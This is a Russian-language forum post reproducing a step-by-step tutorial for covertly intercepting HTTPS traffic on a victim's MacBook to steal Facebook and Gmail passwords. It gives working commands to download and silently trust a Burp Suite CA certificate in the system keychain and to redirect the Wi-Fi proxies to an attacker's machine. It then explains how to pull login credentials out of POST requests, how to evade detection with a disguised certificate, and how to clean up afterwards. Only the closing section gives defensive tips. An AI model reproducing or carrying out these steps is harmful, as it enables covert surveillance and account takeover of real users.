3nity 0 Опубликовано: 6 янв 2024 Поскольку для манипуляций HTTPS-трафиком в macOS и выдергивания учетных записей из зашифрованных данных требуется всего лишь несколько команд, попробуем выйти на новый уровень и попытаемся получить пароль от учетной записи в Facebook и Gmail Автор: tokyoneon Поскольку для манипуляций HTTPS-трафиком в macOS и выдергивания учетных записей из зашифрованных данных требуется всего лишь несколько команд, попробуем выйти на новый уровень и попытаемся получить пароль от учетной записи в Facebook и Gmail, перехватывая пакеты в Safari и Chrome в режиме реального времени. В Facebook и Gmail очень высокий уровень безопасности. При попытке реализовать брутефорс IP-адреса тут же вносятся в черный список, а аккаунты блокируются после нескольких неудачных попыток авторизации. Более того, даже после успешной авторизации с нового IP-адреса или другого браузера инициируются новые проверки, как, например, предложение поискать соответствие между именами и фотографиями профайлов друзей детства или отсылка одноразового кода на смартфон. По правде говоря, чтобы получить доступ к учетной записи, обычно намного проще скомпрометировать операционную систему жертвы, чем подбирать пароль. В этой статье будет рассказано о методах получения пароля в Facebook и Gmail у пользователей macOS, которые находятся в вместе с вами в одной Wi-Fi сети. Вначале нужно получить доступ к операционной системе жертвы, что можно сделать различными способами. Если у вас есть физический доступ к MacBook, можно воспользоваться однопользовательским режимом или социальной инженерией, чтобы спровоцировать жертву на открытие зараженного файла на USB-устройстве. Механика атаки Суть идеи заключается в том, что мы будем принуждать браузер Safari или Chrome на отсылку HTTP- и HTTPS-трафика на подконтрольный нам прокси, работающий на базе Burp Suite. После получения трафика Burp сможет интерпретировать HTTPS-данные в режиме реального времени. Обычно подобную схему реализовать невозможно, но мы скрытно сконфигурируем ОС жертвы таким образом, чтобы было доверие к SSL сертификату, который будет использовать наш прокси. В общем, мы будем конфигурировать целевой браузер для использования прокси на базе Burp схожим образом, но без ведома жертвы, как если бы мы делали настройку на своей машине. Вначале настроим Burp в Kali Linux на перехват трафика. Затем, используя полученный заранее доступ к машине, загрузим и импортируем нужный сертификат в хранилище Keychain целевой системы таким образом, что ни Safari, ни Chrome не будут выводить никаких предупреждений о вредоносной активности. В конце мы сконфигурируем MacBook на отправку HTTP- и HTTPS-трафика на наш прокси. Для реализации атаки понадобятся права суперпользователя, поскольку импортировать сертификаты в Keychain под обычным пользователем нельзя. Права суперпользователя можно получить различными способами, начиная от установки бэкдора, если есть физический доступ к целевой машине, и заканчивая атаками, связанными с расширением привилегий, например, при помощи фишинга или PowerShell Empire для выгрузки хешей или выгрузив кэш браузера и найдя пароли, которые могут использоваться повторно в разных местах. Шаг 1: Установка Burp Suite (если необходимо) В некоторых версиях Kali Linux пакет Burp Suite может быть не установлен. Для установки Burp выполните следующие команды: apt-get update && apt-get install burpsuite Шаг 2: Настройка Burp Suite Откройте Burp и кликните на вкладку Proxy, затем на вкладку Options и далее на кнопку Edit в разделе Proxy Listeners. Введите нужный порт. Обычно я ввожу значение 9999, которое легко запомнить, хотя вы можете использовать любое другое число. Затем укажите адрес прокси. Эта атака реализуется в локальной сети, поэтому следует вводить адрес 192.168.1.xx. В моем случае используется отдельный сегмент и мой адрес - 10.42.0.1. Если у вас есть какие-либо сомнения, выберите опцию «All interfaces». Рисунок 1: Настройка Burp Suite Шаг 3: Загрузка сертификата для Burp Используя расширенный доступ, вначале загрузим сертификат для прокси при помощи команды curl: curl -s --insecure --proxy http://10.42.0.1:9999 http://burp/cert -o /tmp/burp.der В команде выше утилита curl, благодаря опции –s, незаметно загружает сертификат в целевую систему с нашей машины. В аргументе –proxy мы указываем параметры только что настроенного прокси, от которого будем получать сертификат. Поскольку по умолчанию этот сертификат является недостоверным, мы используем аргумент --insecure с целью игнорирования всех предупреждений. Опция –o указывает, что нужно сохранить сертификат в директории /tmp под именем burp.der. Расширение .der менять не нужно, поскольку этот формат используется всеми сертификатами в качестве стандартного. Шаг 4: Импорт сертификата После загрузки сертификата на целевую машину выполняем импорт при помощи следующей команды security: security add-trusted-cert -k /Library/Keychains/System.keychain -d /tmp/burp.der Команда выше добавляет (add-trusted-cert) и делает полностью достоверным сертификат (-d /tmp/burp.der) в главный системный Keychain (-k). Теперь нам остается настроить macOS для отправки трафика на прокси. Шаг 5: Настройка прокси в MacBook Теперь мы можем приступить к незаметной настройке целевой системы на отправку всего HTTP- и HTTPS-трафика. Сетевые настройки будем менять при помощи утилиты networksetup, которая позволяет работать из командной строки. В целом, работа с networksetup во много схожа с тем, как если бы мы сидели перед экраном и настраивали MacBook. Для начала используйте команду ниже вместе с аргументом –listallnetworkservices, который предназначен для отображения всех доступных служб. /usr/sbin/networksetup -listallnetworkservices iPhone USB Wi-Fi Bluetooth PAN Thunderbolt Bridge Обратите внимание на службу «Wi-Fi». Именно настройки этой службы нам нужно модифицировать. Если в целевой системе используется внешний беспроводной адаптер, в списке выше также должно появиться это устройство. В этом случае нужно будет менять настройки прокси у адаптера. Аргументы -getwebproxy (для протокола HTTP) и -getsecurewebproxy (для протокола HTTPS) могут использоваться для просмотра текущих настроек прокси в целевой системе. /usr/sbin/networksetup -getwebproxy "Wi-Fi" Enabled: No Server: Port: 0 Authenticated Proxy Enabled: 0 /usr/sbin/networksetup -getsecurewebproxy "Wi-Fi" Enabled: No Server: Port: 0 Authenticated Proxy Enabled: 0 Оказалось, что оба типа прокси отключены, что является хорошим знаком, поскольку в этом случае, скорее всего, в целевой системе никогда не менялись соответствующие настройки, и не возникнет никаких подозрений, если некоторые приложения начнут вести себя немного странно. Чтобы перенаправить весь HTTP- и HTTPS-трафик на наш прокси, используйте следующие команды: /usr/sbin/networksetup -setwebproxy "Wi-fi" 10.42.0.1 9999 /usr/sbin/networksetup -setsecurewebproxy "Wi-fi" 10.42.0.1 9999 Не забудьте поменять IP-адрес (10.42.0.1). Кроме того, если вы указали другой порт, также измените соответствующее значение. Новые настройки прокси вступают в силу сразу же. Шаг 6: Перехват паролей от Facebook Возвращаемся в Burp Suite и переходим во вкладку «HTTP history» для просмотра трафика целевой системы в режиме реального времени. Обратите особое внимание на POST-запросы, которые можно опознать по колонке Method, поскольку там находится наиболее интересная информация. Например, электронная почта и пароль для Facebook показаны на рисунке ниже: Рисунок 2: Электронная почта и пароль одного из POST-запросов По параметрам «email=» и «pass=» легко опознать электронную почту ([email protected]) и пароль жертвы. Шаг 7: Перехват паролей от Gmail В случае с Gmail придется повозиться подольше, особенно если жертва использует длинные пароли и специальные символы. Специальные символы автоматически кодируются браузерами, и пароль намного сложнее заметить среди груды закодированной белиберды. Например, пароль «g$FR3eDW&ujYH6I{*5aa» будет закодирован как «g%24FR3eDW%26ujYH6I%7B*%5D5aa». Рисунок 3: Содержимое POST-запроса, используемого в Gmail Как видно из рисунка выше, мы пытаемся найти иголку в стоге сена. Трюк заключается в том, чтобы изолировать проблему. На момент написания статьи закодированный пароль для Gmail хранился в параметре «f.req=» (см. ниже): Рисунок 4: Содержимое параметра f.req Выделите весь параметр и скопируйте содержимое. Затем в Burp откройте вкладку «Decoder» и скопируйте закодированный текст в верхнее окно. Далее нажмите кнопку «Decode as» и выберите опцию «URL». Рисунок 5: Расшифровка параметра f.req В нижнем окне появится расшифрованный текст в более удобочитаемом формате. Скопируйте расшифрованный текст в любой удобный для вас текстовый редактор (Gedit, Geany и т. д.). Рисунок 6: Расшифрованный текст в редакторе На рисунке выше видно, что блоки данных разделены запятыми в формате массива. В случае с Gmail пароль расположен в кавычках между восьмой и девятой запятой (см. ниже). Рисунок 7: Пароль для Gmail Facebook и Gmail – лишь два примера. В случае с другими сайтами параметры, содержащие электронную почту и пароль могут отличаться. Особенно когда дело касается сайтов, входящих в топ 100, которые используют различные схемы аутентификации и самые современные разработки в области безопасности. Вы можете протестировать этот метод для других сервисов (если Facebook не входит в сферу ваших интересов) и изучить, как происходит обработка учетных записей, и где хранится пароль. Шаг 8: Отключение прокси в целевой системе После того как вы закончили перехват трафика, не забудьте убрать настройки прокси. В противном случае жертва будет продолжать отсылку трафика на ваш IP-адрес даже после того, как вы отключитесь от Wi-Fi сети. Подобная активность неминуемо вызовет подозрения, поскольку жертва не сможет выйти в сеть без вашего прокси-сервера. Чтобы отключить настройки прокси в целевой системе, используйте следующие команды: /usr/sbin/networksetup -setwebproxystate "Wi-fi" off /usr/sbin/networksetup -setsecurewebproxystate "Wi-fi" off Нюансы и возможные улучшения схемы реализации атаки Существует несколько возможностей для улучшения механики атаки. Нюанс 1: Удаленный взлом при помощи Mitmproxy В качестве альтернативы Burp для перехвата, исследования, модификации и перенаправления трафика можно использовать Mitmproxy. Несмотря на то, что Burp более функционален, Mitmproxy позволяет работать через командную строку и легко запускается на виртуальном сервере. VPS позволяет злоумышленнику перехватывать трафик, пересылаемый между разными Wi-Fi сетями. Нюанс 2: Предупреждения в Firefox После настройки Burp-прокси в macOS все запросы в Firefox также будет перенаправляться в систему злоумышленника. Хотя, в отличие от Safari и Chrome, импорт сертификата в Keychain никак не влияет на Firefox, поскольку этот браузер проверяет сертификаты независимо и не использует Keychain. Если в целевой системе, помимо Safari или Chrome, используется Firefox, будут появляться предупреждения о подозрительной активности, как показано на рисунке ниже. Рисунок 8: Предупреждения в Firefox, связанные с недостоверным сертификатом Нюанс 3: Конфигурирование прокси в других приложениях Как и Firefox, другие приложения, как, например, Spotify, Skype, Opera, VLC и Thunderbird могут также проверять сертификаты альтернативными методами без использования Keychain. Как итог, эти приложения могут выводить оповещения о вредоносной активности или даже сразу же прекращать свою работу. К сожалению, я не тестировал популярные сторонние приложения после настройки моего прокси. Читателям предлагается выполнить эти исследования самостоятельно. Нюанс 4: Уникальный SSL-сертификат В нашем примере был использован стандартный SSL-сертификат, автоматически сгенерированный в Burp Suite. Если вдруг пользователь захочет посмотреть перечень сертификатов в Safari или Chrome, то заметит сертификат «PortSwigger CA» (см. ниже). Компания PortSwigger, разработчик Burp Suite, указана явным образом как эмитент сертификата, что может вызвать подозрения. Создание и использование уникального сертификата с убедительным именем домена может предотвратить обнаружение нашей схемы. Рисунок 9: Информация о сертификате, сгенерированном в Burp Suite Как защититься от подобного рода атак Задача не настолько простая, как может показаться на первый взгляд. Антивирус не проверяет наличие подозрительных сертификатов, и нам придется самостоятельно мониторить хранилище Keychain на предмет подозрительного содержимого. Более того, если злоумышленник получил права суперпользователя и импортирует сертификаты, то у нас большие проблемы. Обнаружить злоумышленника в системе крайне сложно, хотя методы, указанные ниже, могут помочь. Совет 1: Проверяйте Keychain Если речь заходит о контроле сертификатов, никогда не полагайтесь полностью на антивирусы. Keychain можно найти и открыть, введя слово «keychain» в Spotlight. Не бойтесь заглянуть в это хранилище и проанализировать информацию у подозрительных сертификатов. В случае если обнаружены сертификаты, которые вы не загружали, не поднимайте тревогу сразу же, поскольку эти сертификаты могли быть добавлены во время установки легитимного приложения. В случае с сертификатами, в которых вы не уверены, всю информацию можно найти в Google и/или в профильных сообществах, как, например, официальное сообщество Apple, Apple StackExchange и Information Security StackExchange. Рисунок 10: Перечень сертификатов в системном хранилище Совет 2: Проверяйте настройки прокси Настройки прокси найти чуть сложнее. В Spotlight введите слово «proxy», затем кликните на кнопку «Advanced» и далее на вкладку «Proxies». Посмотрите настройки в разделах «Web Proxy (HTTP)» и «Secure Web Proxy (HTTPS)». Если вы не настраивали эти прокси, то лучше снять флажки и нажать «OK». Рисунок 11: Настройки прокси-сервера Совет 3: Проверяйте сертификаты браузера Перед авторизацией на сайте периодически проверяйте используемый SSL-сертификат. В Safari и Chrome эту операцию можно выполнить, если кликнуть на замок в адресной строке и выбрать «Show Certificate» или «Certificate» соответственно. Появится новое окно с данными о сертификате. Кликните на «Details» и прокрутите до раздела SHA-256 и SHA-1 в самом конце сертификата. Теперь на другом ноутбуке или смартфоне проверьте информацию о сертификате того же самого сайта. Как вы понимаете, данные должны совпадать. В случае несовпадения сразу возникает подозрение об использовании поддельного сертификата. Рисунок 12: Информация о сертификате, который используется во время авторизации Совет 4: Проверяйте веб-трафик Wireshark – прекрасный инструмент для идентификации подозрительного трафика, исходящего от вашей машины. Если злоумышленник внедрил бэкдор, то, скорее всего, будет использовать Netcat или скрипт, написанный на Python, для создания TCP-соединений между вами и подконтрольными серверами в установленные моменты времени. На рисунке ниже видно, что злоумышленник (10.42.0.1) выполняет команды на MacBook'е жертвы (10.42.0.98) на порту 4444. Рисунок 13: Команды, используемые в целевой системе Заключение Несмотря на то, что в этой статье рассматривались примеры, связанные с Facebook и Gmail, схожие методы можно применять для перехвата HTTPS-трафика и компрометирования учетных записей у других сайтов, которые использует жертва, как, например, Amazon, Twitter, Instagram, Yahoo, банковские сайты и так далее. Даже когда в целевой системе уже пройден процесс авторизации. Надеюсь, после прочтения этой заметки некоторые читатели задумаются на предмет альтернативных методов пост-эксплуатации уязвимостей в системах. Некоторые специалисты рассматривают атаки с использованием протокола HTTPS как одни из наиболее изощренных. Если мы найдем другие методы перехвата зашифрованных сведений, жертвы тем более не смогут защититься от подобного рода атак. Не говоря уже о том, что SSL не защищает от многих сетевых угроз. 0 Поделиться сообщением Ссылка на сообщение